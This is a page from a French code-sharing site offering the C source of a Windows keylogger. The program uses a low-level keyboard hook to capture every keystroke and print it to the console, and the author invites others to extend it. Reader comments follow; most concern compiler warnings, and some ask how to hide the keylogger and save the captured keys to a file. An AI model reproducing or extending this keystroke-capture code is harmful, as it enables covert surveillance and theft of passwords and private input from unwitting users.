Keylogger hook clavier (sans dll)

Soyez le premier à donner votre avis sur cette source.

Vue 40 077 fois - Téléchargée 4 358 fois

Description

Voila j'ai fais un hook clavier de base sans aucune dll vous pouvez y rajouter vos options le code se compile en simple fichier source sous dev c++, ce code est libre si vous l'améliorer tenez moi au courrant !

je propose de rajouter un hook souris ...

ps : l' executable est disponible dans le .ZIP.

Source / Exemple :


#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

// Global instance du hook
HHOOK hKeyHook;

// Gestion du hook
__declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam ) {
 
    // Action du clavier et les touches tappées
    if  ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN)) {
       
        // conversion du code -> ascii 
        BYTE KeyState[256];
        WORD wBuf;
        char ch;
        
        // Structure pour récupération des informations
        KBDLLHOOKSTRUCT hooked =  *((KBDLLHOOKSTRUCT*)lParam);

        /* Traitement récupération dec codes des touches */
        
        // Etat du clavier
        GetKeyboardState(KeyState);

        // Conversion code > ascii
        ToAscii(hooked.vkCode, hooked.scanCode ,KeyState,&wBuf,0);
        
        //on rajoute les touches non traitées par le hook
        switch(hooked.vkCode){
        
               case 9 :{printf("<TAB>");break;}
               case 13 :{printf("<ENTER>");break;}
               case VK_BACK :{printf("<delete>");break;}
               case VK_DELETE: {printf("<Suppr>");break;}
       
               /* vous pouvez rajouter vos traitements perso ici ! */
                
                default : { // on affiche les touches tappées
                       ch=((char)wBuf); 
                       printf("%c",ch);
                       break;
                }
             
        }
        

    }
    // Renvoi des messages au sytème
    return CallNextHookEx(hKeyHook, nCode,wParam,lParam);
}

 
// Boucle des messages 
void MsgLoop()
{
    MSG message;
    while (GetMessage(&message,NULL,0,0)) {
        TranslateMessage( &message );
        DispatchMessage( &message );
    }
}

DWORD WINAPI KeyLogger(LPVOID lpParameter)
{
    // Récuperation de l'instance de notre executable
    HINSTANCE hExe = GetModuleHandle(NULL);
    if (!hExe) return 1;

    // on demarre le hook
    hKeyHook = SetWindowsHookEx (WH_KEYBOARD_LL,(HOOKPROC) KeyEvent,hExe, NULL);
    if(hKeyHook==NULL)
        printf("[le hook clavier a plante !]\n");
    else
        printf("[hook clavier en cours ...]\n");
        
    // Boucle des messages
    MsgLoop();
    
    // on desactive le hook
    if(UnhookWindowsHookEx(hKeyHook)==0)
          printf("[desactivation du Hook echoue !]");
    else
          printf("[la desactivation du hook c'est passee correctement]"); 
          
    return 0;
}
 

int main(int argc, char *argv[])
{
    // initialisation des options pour la fonction CreateThread 
    HANDLE hThread;
    DWORD dwThread;
    DWORD exThread;
    printf("\n[Exemple de Hook Clavier] by tOnyh2\n");
        
    // on crée le thread qui va démarrer le hook
    hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE) KeyLogger, (LPVOID)NULL, NULL, &dwThread);

    if (hThread) {
        // Attente à l'infini
        return WaitForSingleObject(hThread,INFINITE);
    } else {
        return 0;
    }
}

Conclusion :


rien de serieux prévu pour l'instant... ^^

Codes Sources

A voir également

Ajouter un commentaire Commentaires
RanZ0x Messages postés 18 Date d'inscription vendredi 4 avril 2008 Statut Membre Dernière intervention 20 juin 2010
17 juin 2010 à 16:22
comment faire pour que le keylog soit caché et qu'il écrive directement dans un fichier log ?
Zestyr Messages postés 466 Date d'inscription mercredi 12 août 2009 Statut Membre Dernière intervention 17 octobre 2011
3 déc. 2009 à 22:51
Merci, tu contribus au bidouillage et à l'évolution du Dev open source!
ZMJUVENTINO Messages postés 41 Date d'inscription vendredi 31 mars 2006 Statut Membre Dernière intervention 11 mai 2009
18 mars 2009 à 12:06
Belle source mais à la compilation j'ai cette erreur "error C2440: 'type cast' : cannot convert from 'long' to 'struct tagKBDLLHOOKSTRUCT'
No constructor could take the source type, or constructor overload resolution was ambiguous"

Je précise que je travaille sur Visual C++ 6.

Merci.
cs_Sniperr Messages postés 45 Date d'inscription vendredi 2 septembre 2005 Statut Membre Dernière intervention 28 juin 2009
18 mai 2008 à 11:10
J'ai inclus stdafx.h correctement, les warnings restent mais la compilation marche.
J'ai une question cependant, quelqu'un aurait-il une idée de comment sauvegarder le contenu entré dans un fichier .txt ?
Merci infiniment
cs_Sniperr Messages postés 45 Date d'inscription vendredi 2 septembre 2005 Statut Membre Dernière intervention 28 juin 2009
18 mai 2008 à 11:01
Bonjour, voilà, à la compilation, j'obtiens les erreurs suivantes :

75 C:\Dev-Cpp\hookclavier.c [Warning] passing arg 4 of `SetWindowsHookExA' makes integer from pointer without a cast

103 C:\Dev-Cpp\hookclavier.c [Warning] passing arg 2 of `CreateThread' makes integer from pointer without a cast

103 C:\Dev-Cpp\hookclavier.c [Warning] passing arg 5 of `CreateThread' makes integer from pointer without a cast

Quelqu'un peut m'éclairer ?
Merci
Afficher les 27 commentaires

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.